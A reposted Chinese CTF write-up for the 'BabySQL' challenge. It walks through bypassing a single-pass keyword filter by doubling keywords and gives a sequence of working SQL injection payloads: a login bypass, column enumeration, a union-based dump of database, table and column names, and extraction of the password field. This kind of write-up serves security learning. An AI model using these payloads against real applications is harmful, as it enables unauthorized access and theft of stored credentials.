首页 > 数据库技术 > 详细

[极客大挑战 2019]BabySQL

时间:2020-09-08 09:37:38      阅读:103      评论:0      收藏:0      [点我收藏+]

0x00

打开web界面看到如下
技术分享图片
提示我们已经进行了严格过滤,经过大量的模糊测试,我发现被过滤的词都被去掉后再传给数据库。
这时我们可以采用重写方式来绕过,为验证我们的想法,可以使用如下payload(万能密码):

  • username: admin‘ oorr 1=1 #
  • password: 123

得到如下结果
技术分享图片
既然知道了利用方式,继续我们的注入,我们利用联合注入,先来查询当前表字段数,使用如下payload:

admin‘ oorrder bbyy 3#
## 上面为username
## password不变

得到的结果正常
技术分享图片
继续使用如下payload:

admin‘ oorrder bbyy 4#

得到如下结果,说明只有3个字段
技术分享图片
使用如下payload,来得到回显位置

1‘ uunionnion sselectelect 1,2,3#
## 这里将admin改为1,是因为admin存在会出现正确回显,无法判断回显位置,而1不存在回显上面的数字

得到结果如下,可以看到2,3即为回显位置
技术分享图片
查询数据库,使用如下payload:

1‘ uunionnion sselectelect 1,database(),3#

得到结果如下,当前数据库为geek
技术分享图片
继续查询表,使用如下payload:

1‘ uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=‘geek‘),3#
## 出现重写的都是被过滤的

得到结果如下
技术分享图片
继续查询字段,使用如下payload:

1‘ uunionnion sselectelect 1,(sselectelect group_concat(table_name) ffromrom infoorrmation_schema.tables wwherehere table_schema=‘geek‘),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name=‘b4bsql‘)#

得到结果如下,b4bsql表存在id,username,password三个字段
技术分享图片
继续查询password字段的数据,使用如下payload:

1‘ uunionnion sselectelect 1,(sselectelect group_concat(passwoorrd) ffromrom b4bsql),(sselectelect group_concat(column_name) ffromrom infoorrmation_schema.columns wwherehere table_name=‘b4bsql‘)#
## password那样写是因为过滤了or

得到了flag
技术分享图片

0x01 总结

该题主要考察的是重写绕过,以及对mysql数据库的基本联合注入

[极客大挑战 2019]BabySQL

原文:https://www.cnblogs.com/Wuser/p/13630483.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!